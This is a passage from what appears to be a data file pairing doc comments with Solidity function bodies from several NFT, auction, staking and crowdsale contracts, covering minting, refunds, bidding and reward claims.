bytes(bStr.length);\r\n for (uint256 i = 0; i < bStr.length; i++) {\r\n if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {\r\n bLower[i] = bytes1(uint8(bStr[i]) + 32);\r\n } else {\r\n bLower[i] = bStr[i];\r\n }\r\n }\r\n return string(bLower);\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Returns the HODLer token IDs which we plan to use for web3 stuff in the future.\r\n */", "function_code": "function getMemberTokenIDs(address member) external view returns(uint256[] memory) {\r\n uint tokenCount = balanceOf(member);\r\n\r\n uint256[] memory tokensIDs = new uint256[](tokenCount);\r\n for (uint i = 0; i < tokenCount; i++) {\r\n // Store the token indices.\r\n tokensIDs[i] = tokenOfOwnerByIndex(member, i);\r\n }\r\n\r\n return tokensIDs;\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Set SDOG Name function.\r\n */", "function_code": "function setSDogName(uint256 tokenId, string memory name) external {\r\n require(FIRST_BLOCK != 0, \"The reveal has not happened\");\r\n require(msg.sender == ownerOf(tokenId), \"This token does not belong to the requesting address\");\r\n require(isValidName(name) == true, \"This is not a valid name\");\r\n require(isNameUsed(name) == false, \"The name has already been used\");\r\n // Release the old name.\r\n if (bytes(sdogNames[tokenId]).length > 0) {\r\n usedNames[toLower(sdogNames[tokenId])] = false;\r\n }\r\n usedNames[toLower(name)] = true;\r\n sdogNames[tokenId] = name;\r\n emit Named(tokenId, name);\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Mints SDOGs\r\n */", "function_code": "function mintSDOG(uint tokenAmount) external payable {\r\n require(!saleLock, \"The sale is closed\");\r\n require(totalSupply() < MAX_SUPPLY, \"The sale has ended\");\r\n require(totalSupply() + tokenAmount <= MAX_SUPPLY, \"Transaction exceeds max supply\"); \r\n require(tokenAmount <= MAX_IN_ONE_GO, \"Token Amount exceeded the max allowed per transaction (20)\");\r\n require(msg.value >= tokenAmount * MINT_ETH_COST, \"Value sent is below total cost\");\r\n\r\n for (uint i = 0; i < tokenAmount; i++) {\r\n // Double check that we are not trying to mint more than the max supply.\r\n if (totalSupply() < MAX_SUPPLY) { \r\n _safeMint(msg.sender, totalSupply());\r\n }\r\n }\r\n // Set the First Block if ready (if it's time).\r\n setFirstIfReady();\r\n // Perform accounting.\r\n updateAccounting();\r\n }", "version": "0.8.6"} {"comment": "// Delegates the current call to IMPL\n// This function does not return to its internall call site, it will return directly to the external caller.\n// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.2.0/contracts/proxy/Proxy.sol", "function_code": "function _delegate() private {\r\n assembly {\r\n // Copy msg.data. We take full control of memory in this inline assembly\r\n // block because it will not return to Solidity code. We overwrite the\r\n // Solidity scratch pad at memory position 0.\r\n calldatacopy(0, 0, calldatasize())\r\n\r\n // Call the implementation.\r\n // out and outsize are 0 because we don't know the size yet.\r\n let result := delegatecall(gas(), IMPL, 0, calldatasize(), 0, 0)\r\n\r\n // Copy the returned data.\r\n returndatacopy(0, 0, returndatasize())\r\n\r\n switch result\r\n // delegatecall returns 0 on error.\r\n case 0 {\r\n revert(0, returndatasize())\r\n }\r\n default {\r\n return(0, returndatasize())\r\n }\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Tries to mint NFTs during the Trove Auction Phase (Equalized Dutch Auction)\r\n * Based on the price of last mint, extra credits should be refunded when the auction is over\r\n * Any extra funds will be transferred back to the sender's address\r\n */", "function_code": "function auctionMint(uint256 quantity) external payable callerIsUser {\r\n require(auctionSaleStartTime != 0 && block.timestamp >= auctionSaleStartTime, \"Sale has not started yet\");\r\n require(totalSupply() + quantity <= RESERVED_OR_AUCTION_PLANETS, \"Not enough remaining reserved for auction to support desired mint amount\");\r\n require(numberMinted(msg.sender) + quantity <= MAX_MINT_PER_ADDRESS, \"Can not mint this many\");\r\n\r\n lastAuctionSalePrice = getAuctionPrice();\r\n uint256 totalCost = lastAuctionSalePrice * quantity;\r\n\r\n if (lastAuctionSalePrice > AUCTION_END_PRICE) {\r\n _creditOwners.add(msg.sender);\r\n\r\n credits[msg.sender] += totalCost;\r\n creditCount[msg.sender] += quantity;\r\n\r\n _totalCredits += totalCost;\r\n _totalCreditCount += quantity;\r\n }\r\n\r\n NFTContract.Mint(msg.sender, quantity);\r\n refundIfOver(totalCost);\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Tries to mint NFTs during the whitelist phase\r\n * Any extra funds will be transferred back to the sender's address\r\n */", "function_code": "function whitelistMint(uint256 quantity) external payable callerIsUser {\r\n require(whitelistPrice != 0, \"Whitelist sale has not begun yet\");\r\n require(whitelist[msg.sender] > 0, \"Not eligible for whitelist mint\");\r\n require(whitelist[msg.sender] >= quantity, \"Can not mint this many\");\r\n require(totalSupply() + quantity <= TOTAL_PLANETS, \"Reached max supply\");\r\n\r\n whitelist[msg.sender] -= quantity;\r\n NFTContract.Mint(msg.sender, quantity);\r\n refundIfOver(whitelistPrice * quantity);\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Calculates the auction price \r\n */", "function_code": "function getAuctionPrice() public view returns (uint256) {\r\n if (block.timestamp < auctionSaleStartTime) {\r\n return AUCTION_START_PRICE;\r\n }\r\n \r\n if (block.timestamp - auctionSaleStartTime >= AUCTION_PRICE_CURVE_LENGTH) {\r\n return AUCTION_END_PRICE;\r\n } else {\r\n uint256 steps = (block.timestamp - auctionSaleStartTime) / AUCTION_DROP_INTERVAL;\r\n return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP);\r\n }\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Refunds the remaining credits after the auction phase\r\n */", "function_code": "function refundRemainingCredits() external nonReentrant {\r\n require(isAuctionPriceFinalized(), \"Auction price is not finalized yet!\");\r\n require(_creditOwners.contains(msg.sender), \"Not a credit owner!\");\r\n \r\n uint256 remainingCredits = credits[msg.sender];\r\n uint256 remainingCreditCount = creditCount[msg.sender];\r\n uint256 toSendCredits = remainingCredits - lastAuctionSalePrice * remainingCreditCount;\r\n\r\n require(toSendCredits > 0, \"No credits to refund!\");\r\n\r\n delete credits[msg.sender];\r\n delete creditCount[msg.sender];\r\n\r\n _creditOwners.remove(msg.sender);\r\n\r\n _totalCredits -= remainingCredits;\r\n _totalCreditCount -= remainingCreditCount;\r\n\r\n emit CreditRefunded(msg.sender, toSendCredits);\r\n\r\n require(payable(msg.sender).send(toSendCredits));\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Refunds the remaining credits for not yet refunded addresses\r\n */", "function_code": "function refundAllRemainingCreditsByCount(uint256 count) external onlyOwner {\r\n require(isAuctionPriceFinalized(), \"Auction price is not finalized yet!\");\r\n \r\n address toSendWallet;\r\n uint256 toSendCredits;\r\n uint256 remainingCredits;\r\n uint256 remainingCreditCount;\r\n \r\n uint256 j = 0;\r\n while (_creditOwners.length() > 0 && j < count) {\r\n toSendWallet = _creditOwners.at(0);\r\n \r\n remainingCredits = credits[toSendWallet];\r\n remainingCreditCount = creditCount[toSendWallet];\r\n toSendCredits = remainingCredits - lastAuctionSalePrice * remainingCreditCount;\r\n \r\n delete credits[toSendWallet];\r\n delete creditCount[toSendWallet];\r\n _creditOwners.remove(toSendWallet);\r\n\r\n if (toSendCredits > 0) {\r\n require(payable(toSendWallet).send(toSendCredits));\r\n emit CreditRefunded(toSendWallet, toSendCredits);\r\n\r\n _totalCredits -= toSendCredits;\r\n _totalCreditCount -= remainingCreditCount;\r\n }\r\n j++;\r\n }\r\n }", "version": "0.8.6"} {"comment": "/// Pre-Reserve\n/// @notice Pre-reserve tokens during Pre-Reserve phase if whitelisted. Max 2 per address. Must pay mint fee\n/// @param merkleProof Merkle proof for your address in the whitelist\n/// @param _count Number of tokens to reserve", "function_code": "function preReserve(bytes32[] memory merkleProof, uint8 _count) external payable{\r\n require(!paused,\"paused\");\r\n require(phase() == Phase.PreReserve,\"phase\");\r\n require(msg.value >= PRICE_MINT * _count,\"PRICE_MINT\");\r\n require(whitelistReserveCount[msg.sender] + _count <= WHITELIST_RESERVE_LIMIT,\"whitelistReserveCount\");\r\n require(presaleCount + _count < PRESALE_LIMIT,\"PRESALE_LIMIT\");\r\n require(GBAWhitelist(whitelist).isWhitelisted(merkleProof,msg.sender),\"whitelist\");\r\n\r\n whitelistReserveCount[msg.sender] += _count;\r\n presaleCount += _count;\r\n _reserve(_count,msg.sender,true);\r\n }", "version": "0.8.4"} {"comment": "/// Internal Reserve\n/// @notice Does the work in both Reserve and PreReserve\n/// @param _count Number of tokens being reserved\n/// @param _to Address that is reserving\n/// @param ignoreCooldown Don't revert for cooldown.Used in pre-reserve", "function_code": "function _reserve(uint16 _count, address _to, bool ignoreCooldown) internal{\r\n require(tokenCount + _count <= SALE_MAX, \"SALE_MAX\");\r\n require(ignoreCooldown ||\r\n reservations[_to].block == 0 || block.number >= uint(reservations[_to].block) + COOLDOWN\r\n ,\"COOLDOWN\");\r\n\r\n for(uint16 i = 0; i < _count; i++){\r\n reservations[address(_to)].tokens.push(++tokenCount);\r\n\r\n emit Reserve(_to,tokenCount);\r\n }\r\n reservations[_to].block = uint24(block.number);\r\n\r\n }", "version": "0.8.4"} {"comment": "/// Claim\n/// @notice Mint reserved tokens\n/// @param reservist Address with reserved tokens.\n/// @param _count Number of reserved tokens mint.\n/// @dev Allows anyone to call claim for anyone else. Will mint to the address that made the reservations.", "function_code": "function claim(address reservist, uint _count) public{\r\n require(!paused,\"paused\");\r\n require(\r\n phase() == Phase.Final\r\n ,\"phase\");\r\n\r\n require( reservations[reservist].tokens.length >= _count, \"_count\");\r\n for(uint i = 0; i < _count; i++){\r\n uint tokenId = uint(reservations[reservist].tokens[reservations[reservist].tokens.length - 1]);\r\n reservations[reservist].tokens.pop();\r\n _mint(reservist,tokenId);\r\n emit Claim(reservist,tokenId);\r\n }\r\n\r\n updateMobStart();\r\n updateMobFinish();\r\n }", "version": "0.8.4"} {"comment": "/// Mint\n/// @notice Mint unreserved tokens. Must pay mint fee.\n/// @param _count Number of reserved tokens mint.", "function_code": "function mint(uint _count) public payable{\r\n require(!paused,\"paused\");\r\n require(\r\n phase() == Phase.Final\r\n ,\"phase\");\r\n require(msg.value >= _count * PRICE_MINT,\"PRICE\");\r\n\r\n require(tokenCount + uint16(_count) <= SALE_MAX,\"SALE_MAX\");\r\n\r\n for(uint i = 0; i < _count; i++){\r\n _mint(msg.sender,uint(++tokenCount));\r\n }\r\n\r\n updateMobStart();\r\n updateMobFinish();\r\n }", "version": "0.8.4"} {"comment": "/// Phase\n/// @notice Internal function to calculate current Phase\n/// @return Phase (enum value)", "function_code": "function phase() internal view returns(Phase){\r\n uint _startTime = startTime;\r\n if(_startTime == 0){\r\n return Phase.Init;\r\n }else if(block.timestamp <= _startTime + 2 hours){\r\n return Phase.PreReserve;\r\n }else if(block.timestamp <= _startTime + 2 hours + 1 days && tokenCount < SALE_MAX){\r\n return Phase.Reserve;\r\n }else{\r\n return Phase.Final;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/// Toggle pause\n/// @notice Toggle pause on/off", "function_code": "function togglePause() public onlyOwner{\r\n if(startTime == 0){\r\n startTime = block.timestamp;\r\n paused = false;\r\n emit Pause(false,startTime,pauseTime);\r\n return;\r\n }\r\n require(!unpausable,\"unpausable\");\r\n\r\n bool _pause = !paused;\r\n if(_pause){\r\n pauseTime = block.timestamp;\r\n }else if(pauseTime != 0){\r\n startTime += block.timestamp - pauseTime;\r\n delete pauseTime;\r\n }\r\n paused = _pause;\r\n emit Pause(_pause,startTime,pauseTime);\r\n }", "version": "0.8.4"} {"comment": "/// Get Mob Owner\n/// @notice Internal func to calculate the owner of a given mob for a given mob hash\n/// @param _mobIndex Index of mob to check (0-2)\n/// @param _mobHash Mob hash to base calcs off\n/// @return Address of the calculated owner", "function_code": "function getMobOwner(uint _mobIndex, bytes32 _mobHash) internal view returns(address){\r\n bytes32 mobModulo = extractBytes(_mobHash, _mobIndex + 1);\r\n bytes32 locationHash = extractBytes(_mobHash,4);\r\n\r\n uint hash = uint(keccak256(abi.encodePacked(locationHash,_mobIndex,mobModulo)));\r\n uint index = hash % uint(mobModulo);\r\n\r\n address _owner = owners[tokens[index]];\r\n\r\n if(mobReleased){\r\n return _owner;\r\n }else{\r\n return address(0);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/// Extract Bytes\n/// @notice Get the nth 4-byte chunk from a bytes32\n/// @param data Data to extract bytes from\n/// @param index Index of chunk", "function_code": "function extractBytes(bytes32 data, uint index) internal pure returns(bytes32){\r\n uint inset = 32 * ( 7 - index );\r\n uint outset = 32 * index;\r\n return ((data << outset) >> outset) >> inset;\r\n }", "version": "0.8.4"} {"comment": "/// Release Mob\n/// @notice Start Mob", "function_code": "function releaseMob() public onlyOwner{\r\n require(!mobReleased,\"released\");\r\n require(tokens.length > 0, \"no mint\");\r\n\r\n mobReleased = true;\r\n\r\n bytes32 _mobHash = mobHash; //READ\r\n uint eliminationBlock = block.number - (block.number % 245) - 10; //READ\r\n\r\n bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);\r\n\r\n bytes32 mobModulo = bytes32(tokens.length);\r\n bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4) ;\r\n\r\n bytes32 newMobHash = shiftBytes(updateHash,0) ^ //WRITE\r\n shiftBytes(mobModulo,1) ^\r\n shiftBytes(mobModulo,2) ^\r\n shiftBytes(mobModulo,3) ^\r\n shiftBytes(destinationHash,4);\r\n\r\n for(uint i = 0; i < 3; i++){\r\n uint _tokenId = _getMobTokenId(i); //READ x 3\r\n emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //EMIT x 3 max\r\n }\r\n\r\n mobHash = newMobHash;\r\n }", "version": "0.8.4"} {"comment": "/// Update Mobs Start\n/// @notice Internal - Emits all the events sending mobs to 0. First part of mobs moving", "function_code": "function updateMobStart() internal{\r\n if(!mobReleased || mobTokenIds[3] == 0) return;\r\n\r\n //BURN THEM\r\n bytes32 _mobHash = mobHash; //READ\r\n for(uint i = 0; i < 3; i++){\r\n uint _tokenId = _getMobTokenId(i); //READ x 3\r\n if(_tokenId != MOB_OFFSET){\r\n emit Transfer(getMobOwner(i,_mobHash),address(0),_tokenId); //READx3, EMIT x 3 max\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/// Update Mobs Finish\n/// @notice Internal - Calculates mob owners and emits events sending to them. Second part of mobs moving", "function_code": "function updateMobFinish() internal {\r\n if(!mobReleased) {\r\n require(gasleft() > 100000,\"gas failsafe\");\r\n return;\r\n }\r\n if(mobTokenIds[3] == 0) return;\r\n\r\n require(gasleft() > 64500,\"gas failsafe\");\r\n\r\n bytes32 _mobHash = mobHash; //READ\r\n uint eliminationBlock = block.number - (block.number % 245) - 10; //READ\r\n\r\n bytes32 updateHash = extractBytes(keccak256(abi.encodePacked(_mobHash)),0);\r\n\r\n bytes32 mobModulo0 = extractBytes(_mobHash,1);\r\n bytes32 mobModulo1 = extractBytes(_mobHash,2);\r\n bytes32 mobModulo2 = extractBytes(_mobHash,3);\r\n\r\n bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);\r\n\r\n bytes32 newMobHash = shiftBytes(updateHash,0) ^\r\n shiftBytes(mobModulo0,1) ^\r\n shiftBytes(mobModulo1,2) ^\r\n shiftBytes(mobModulo2,3) ^\r\n shiftBytes(destinationHash,4);\r\n\r\n mobHash = newMobHash; //WRITE\r\n\r\n for(uint i = 0; i < 3; i++){\r\n uint _tokenId = _getMobTokenId(i); //READ x 3\r\n if(_tokenId != MOB_OFFSET){\r\n emit Transfer(address(0),getMobOwner(i,newMobHash),_tokenId); //READx3, EMIT x 3 max\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "/// Update Catch Mob\n/// @notice Catch a mob that's in your wallet\n/// @param _mobIndex Index of mob to catch\n/// @dev Mints real token and updates mobs", "function_code": "function catchMob(uint _mobIndex) public {\r\n IGBATrapsPartial(trapContract).useTrap(msg.sender);\r\n\r\n require(_mobIndex < 3,\"mobIndex\");\r\n bytes32 _mobHash = mobHash;\r\n address mobOwner = getMobOwner(_mobIndex,_mobHash);\r\n require(msg.sender == mobOwner,\"owner\");\r\n\r\n updateMobStart(); //Kill all mobs\r\n\r\n bytes32 updateHash = extractBytes(_mobHash,0);\r\n\r\n bytes32[3] memory mobModulo;\r\n\r\n for(uint i = 0; i < 3; i++){\r\n mobModulo[i] = extractBytes(_mobHash,i + 1);\r\n }\r\n\r\n uint mobTokenId = _getMobTokenId(_mobIndex); //READ\r\n\r\n //Mint real one\r\n _mint(msg.sender,mobTokenId+MOB_OFFSET);\r\n\r\n bool mintNewMob = true;\r\n if(mobTokenIds[3] < TOTAL_MOB_COUNT){\r\n mobTokenIds[_mobIndex] = ++mobTokenIds[3];\r\n }else{\r\n mintNewMob = false;\r\n\r\n //if final 3\r\n mobTokenIds[3]++;\r\n mobTokenIds[_mobIndex] = 0;\r\n\r\n if(mobTokenIds[3] == TOTAL_MOB_COUNT + 3){\r\n //if final mob, clear last slot to identify end condition\r\n delete mobTokenIds[3];\r\n }\r\n }\r\n\r\n mobModulo[_mobIndex] = bytes32(tokens.length);\r\n\r\n uint eliminationBlock = block.number - (block.number % 245) - 10; //READ\r\n bytes32 destinationHash = extractBytes( blockhash(eliminationBlock),4);\r\n\r\n mobHash = shiftBytes(updateHash,0) ^ //WRITE\r\n shiftBytes(mobModulo[0],1) ^\r\n shiftBytes(mobModulo[1],2) ^\r\n shiftBytes(mobModulo[2],3) ^\r\n shiftBytes(destinationHash,4);\r\n\r\n updateMobFinish(); //release mobs\r\n }", "version": "0.8.4"} {"comment": "/// Balance Of\n/// @notice ERC721 balanceOf func, includes active mobs", "function_code": "function balanceOf(address _owner) external override view returns (uint256){\r\n uint _balance = balances[_owner];\r\n bytes32 _mobHash = mobHash;\r\n for(uint i = 0; i < 3; i++){\r\n if(getMobOwner(i, _mobHash) == _owner){\r\n _balance++;\r\n }\r\n }\r\n return _balance;\r\n }", "version": "0.8.4"} {"comment": "/// Owner Of\n/// @notice ERC721 ownerOf func, includes active mobs", "function_code": "function ownerOf(uint256 _tokenId) public override view returns(address){\r\n bytes32 _mobHash = mobHash;\r\n for(uint i = 0; i < 3; i++){\r\n if(_getMobTokenId(i) == _tokenId){\r\n address owner = getMobOwner(i,_mobHash);\r\n require(owner != address(0),\"invalid\");\r\n return owner;\r\n }\r\n }\r\n requireValid(_tokenId);\r\n return owners[_tokenId];\r\n }", "version": "0.8.4"} {"comment": "/// Approve\n/// @notice ERC721 function", "function_code": "function approve(address _approved, uint256 _tokenId) external override{\r\n address _owner = owners[_tokenId];\r\n require( _owner == msg.sender //Require Sender Owns Token\r\n || authorised[_owner][msg.sender] // or is approved for all.\r\n ,\"permission\");\r\n emit Approval(_owner, _approved, _tokenId);\r\n allowance[_tokenId] = _approved;\r\n }", "version": "0.8.4"} {"comment": "/// Transfer From\n/// @notice ERC721 function\n/// @dev Fails for mobs", "function_code": "function transferFrom(address _from, address _to, uint256 _tokenId) public override {\r\n requireValid(_tokenId);\r\n\r\n //Check Transferable\r\n //There is a token validity check in ownerOf\r\n address _owner = owners[_tokenId];\r\n\r\n require ( _owner == msg.sender //Require sender owns token\r\n //Doing the two below manually instead of referring to the external methods saves gas\r\n || allowance[_tokenId] == msg.sender //or is approved for this token\r\n || authorised[_owner][msg.sender] //or is approved for all\r\n ,\"permission\");\r\n require(_owner == _from,\"owner\");\r\n require(_to != address(0),\"zero\");\r\n\r\n updateMobStart();\r\n\r\n emit Transfer(_from, _to, _tokenId);\r\n\r\n owners[_tokenId] =_to;\r\n\r\n balances[_from]--;\r\n balances[_to]++;\r\n\r\n //Reset approved if there is one\r\n if(allowance[_tokenId] != address(0)){\r\n delete allowance[_tokenId];\r\n }\r\n\r\n updateMobFinish();\r\n }", "version": "0.8.4"} {"comment": "/// To String\n/// @notice Converts uint to string\n/// @param value uint to convert\n/// @return String", "function_code": "function toString(uint256 value) internal pure returns (string memory) {\r\n // Inspired by OraclizeAPI's implementation - MIT license\r\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\r\n\r\n if (value == 0) {\r\n return \"0\";\r\n }\r\n uint256 temp = value;\r\n uint256 digits;\r\n while (temp != 0) {\r\n digits++;\r\n temp /= 10;\r\n }\r\n bytes memory buffer = new bytes(digits);\r\n while (value != 0) {\r\n digits -= 1;\r\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r\n value /= 10;\r\n }\r\n return string(buffer);\r\n }", "version": "0.8.4"} {"comment": "// ENUMERABLE FUNCTIONS (not actually needed for compliance but everyone likes totalSupply)", "function_code": "function totalSupply() public view returns (uint256){\r\n uint highestMob = mobTokenIds[3];\r\n if(!mobReleased || highestMob == 0){\r\n return tokens.length;\r\n }else if(highestMob < TOTAL_MOB_COUNT){\r\n return tokens.length + 3;\r\n }else{\r\n return tokens.length + 3 - (TOTAL_MOB_COUNT - highestMob);\r\n }\r\n\r\n }", "version": "0.8.4"} {"comment": "// size = width = height", "function_code": "function getSize(uint256 numCells) public pure returns (uint256) {\r\n uint256 size = (_sqrt((numCells / 7) * 10) / 2) * 2;\r\n if (size < 8) {\r\n size = 8;\r\n }\r\n return size;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev (0, 0) is the top left corner.\r\n * X from left to right, Y from top to bottom.\r\n * Each element in the result list is (y * size + x)\r\n * width = height = size\r\n *\r\n * Result is paginated. cursor will be returend 0 at the end.\r\n */", "function_code": "function getCellPositions(\r\n uint256 tokenId,\r\n uint256 cursor,\r\n uint256 limit\r\n ) public view returns (uint256, uint256[] memory) {\r\n bytes32 seed = tokenToSeed[tokenId];\r\n uint256 numCells = getNumCells(tokenId);\r\n uint256 size = getSize(numCells);\r\n return getCellPositionsCustom(seed, numCells, size, size, cursor, limit);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Withdraw the amount of eth that is remaining in this contract.\r\n * @param _address The address of EOA that can receive token from this contract.\r\n */", "function_code": "function withdraw(address payable _address, uint256 amount, uint256 _amountHB) public onlyCeoAddress {\r\n require(_address != address(0) && amount > 0 && address(this).balance >= amount && _amountHB > 0 && hbwalletToken.balanceOf(address(this)) >= _amountHB);\r\n _address.transfer(amount);\r\n hbwalletToken.transferFrom(address(this), _address, _amountHB);\r\n }", "version": "0.5.8"} {"comment": "// sels the project's token to buyers", "function_code": "function generate(\r\n address _recepient, \r\n uint256 _value\r\n ) public\r\n preventReentrance\r\n onlyOwner() // only manager can call it\r\n {\r\n uint256 newTotalCollected = totalCollected.add(_value);\r\n\r\n require(maxSupply >= newTotalCollected);\r\n\r\n // create new tokens for this buyer\r\n crowdsaleToken.issue(_recepient, _value);\r\n\r\n emit SellToken(_recepient, _value);\r\n\r\n // remember the buyer so he/she/it may refund its ETH if crowdsale failed\r\n participants[_recepient] = participants[_recepient].add(_value);\r\n\r\n totalCollected = newTotalCollected;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Stake StellarInu NFTs and earn ETH\n/// @dev Rewards will be claimed when staking an additional NFT\n/// @param tokenId The ERC721 tokenId", "function_code": "function stake(uint256 tokenId) external onlyInitialized nonReentrant {\n nft.safeTransferFrom(msg.sender, address(this), tokenId);\n\n Staker storage staker = stakers[msg.sender];\n if (staker.amount > 0) {\n _claim(msg.sender);\n }\n totalShares += 1;\n staker.amount += 1;\n staker.totalExcluded = getCumulativeRewards(staker.amount);\n staker.tokenIds.push(tokenId);\n staker.tokenIndex[staker.tokenIds.length - 1];\n tokenOwner[tokenId] = msg.sender;\n\n emit Staked(msg.sender, tokenId);\n }", "version": "0.8.11"} {"comment": "/// @notice Unstake StellarInu NFTs.\n/// @dev Rewards will be claimed when unstaking\n/// @param tokenId The ERC721 tokenId", "function_code": "function unstake(uint256 tokenId) external onlyInitialized nonReentrant {\n require(msg.sender == tokenOwner[tokenId], \"unstake: NOT_STAKED_NFT_OWNER\");\n\n Staker storage staker = stakers[msg.sender];\n if (staker.amount > 0) {\n _claim(msg.sender);\n }\n\n uint256 lastIndex = staker.tokenIds.length - 1;\n uint256 lastIndexKey = staker.tokenIds[lastIndex];\n uint256 tokenIdIndex = staker.tokenIndex[tokenId];\n staker.tokenIds[tokenIdIndex] = lastIndexKey;\n staker.tokenIndex[lastIndexKey] = tokenIdIndex;\n if (staker.tokenIds.length > 0) {\n staker.tokenIds.pop();\n delete staker.tokenIndex[tokenId];\n }\n\n totalShares -= 1;\n staker.amount -= 1;\n staker.totalExcluded = getCumulativeRewards(staker.amount);\n\n // delete staker\n delete tokenOwner[tokenId];\n nft.safeTransferFrom(address(this), msg.sender, tokenId);\n\n emit Unstaked(msg.sender, tokenId);\n }", "version": "0.8.11"} {"comment": "/// @notice Private function to implementing the ETH rewards claiming", "function_code": "function _claim(address user) private {\n if (rewardsClaimable != true) return;\n\n uint256 amount = getUnpaidRewards(user);\n if (amount > address(this).balance) {\n amount = address(this).balance;\n }\n if (amount == 0) return;\n\n stakers[user].totalRealised += amount;\n stakers[user].totalExcluded = getCumulativeRewards(stakers[user].amount);\n totalDistributed += amount;\n safeTransferETH(user, amount);\n emit Claimed(user, amount);\n }", "version": "0.8.11"} {"comment": "/// @notice View the unpaid rewards of a staker\n/// @param user The address of a user\n/// @return The amount of rewards in wei that `user` can withdraw", "function_code": "function getUnpaidRewards(address user) public view returns (uint256) {\n if (stakers[user].amount == 0) return 0;\n\n uint256 stakerTotalRewards = getCumulativeRewards(stakers[user].amount);\n uint256 stakerTotalExcluded = stakers[user].totalExcluded;\n\n if (stakerTotalRewards <= stakerTotalExcluded) return 0;\n\n return stakerTotalRewards - stakerTotalExcluded;\n }", "version": "0.8.11"} {"comment": "/** modifier saleIsOn() {\r\n require(now > testStart && now < testEnd || now > PresaleStart && now < PresaleStart + PresalePeriod || now > CrowdsaleStart && now < CrowdsaleStart + CrowdsalePeriod);\r\n \t_;\r\n } **/", "function_code": "function createTokens() public payable {\r\n uint tokens = 0;\r\n uint bonusTokens = 0;\r\n \r\n if (now > PresaleStart && now < PresaleStart + PresalePeriod) {\r\n tokens = rate.mul(msg.value);\r\n bonusTokens = tokens.div(4);\r\n } \r\n else if (now > CrowdsaleStart && now < CrowdsaleStart + CrowdsalePeriod){\r\n tokens = rate.mul(msg.value);\r\n \r\n if(now < CrowdsaleStart + CrowdsalePeriod/4) {bonusTokens = tokens.mul(15).div(100);}\r\n else if(now >= CrowdsaleStart + CrowdsalePeriod/4 && now < CrowdsaleStart + CrowdsalePeriod/2) {bonusTokens = tokens.div(10);} \r\n else if(now >= CrowdsaleStart + CrowdsalePeriod/2 && now < CrowdsaleStart + CrowdsalePeriod*3/4) {bonusTokens = tokens.div(20);}\r\n \r\n } \r\n \r\n tokens += bonusTokens;\r\n if (tokens>0) {token.mint(msg.sender, tokens);}\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Public method for placing a bid, reverts if:\r\n * - Contract is Paused\r\n * - Edition provided is not valid\r\n * - Edition provided is not configured for auctions\r\n * - Edition provided is sold out\r\n * - msg.sender is already the highest bidder\r\n * - msg.value is not greater than highest bid + minimum amount\r\n * @dev refunds the previous bidders ether if the bid is overwritten\r\n * @return true on success\r\n */", "function_code": "function placeBid(uint256 _editionNumber)\r\n public\r\n payable\r\n whenNotPaused\r\n whenEditionExists(_editionNumber)\r\n whenAuctionEnabled(_editionNumber)\r\n whenPlacedBidIsAboveMinAmount(_editionNumber)\r\n whenCallerNotAlreadyTheHighestBidder(_editionNumber)\r\n whenEditionNotSoldOut(_editionNumber)\r\n returns (bool success)\r\n {\r\n // Grab the previous holders bid so we can refund it\r\n _refundHighestBidder(_editionNumber);\r\n\r\n // Keep a record of the current users bid (previous bidder has been refunded)\r\n editionBids[_editionNumber][msg.sender] = msg.value;\r\n\r\n // Update the highest bid to be the latest bidder\r\n editionHighestBid[_editionNumber] = msg.sender;\r\n\r\n // Emit event\r\n emit BidPlaced(msg.sender, _editionNumber, msg.value);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Public method for increasing your bid, reverts if:\r\n * - Contract is Paused\r\n * - Edition provided is not valid\r\n * - Edition provided is not configured for auctions\r\n * - Edition provided is sold out\r\n * - msg.sender is not the current highest bidder\r\n * @return true on success\r\n */", "function_code": "function increaseBid(uint256 _editionNumber)\r\n public\r\n payable\r\n whenNotPaused\r\n whenBidIncreaseIsAboveMinAmount\r\n whenEditionExists(_editionNumber)\r\n whenAuctionEnabled(_editionNumber)\r\n whenEditionNotSoldOut(_editionNumber)\r\n whenCallerIsHighestBidder(_editionNumber)\r\n returns (bool success)\r\n {\r\n // Bump the current highest bid by provided amount\r\n editionBids[_editionNumber][msg.sender] = editionBids[_editionNumber][msg.sender].add(msg.value);\r\n\r\n // Emit event\r\n emit BidIncreased(msg.sender, _editionNumber, editionBids[_editionNumber][msg.sender]);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Method for cancelling an auction, only called from contract whitelist\r\n * @dev refunds previous highest bidders bid\r\n * @dev removes current highest bid so there is no current highest bidder\r\n * @return true on success\r\n */", "function_code": "function cancelAuction(uint256 _editionNumber)\r\n public\r\n onlyIfWhitelisted(msg.sender)\r\n whenEditionExists(_editionNumber)\r\n returns (bool success)\r\n {\r\n // get current highest bid and refund it\r\n _refundHighestBidder(_editionNumber);\r\n\r\n // Disable the auction\r\n enabledEditions[_editionNumber] = false;\r\n\r\n // Fire event\r\n emit AuctionCancelled(_editionNumber);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Handle all splitting of funds to the artist, any optional split and KO\r\n */", "function_code": "function _handleFunds(uint256 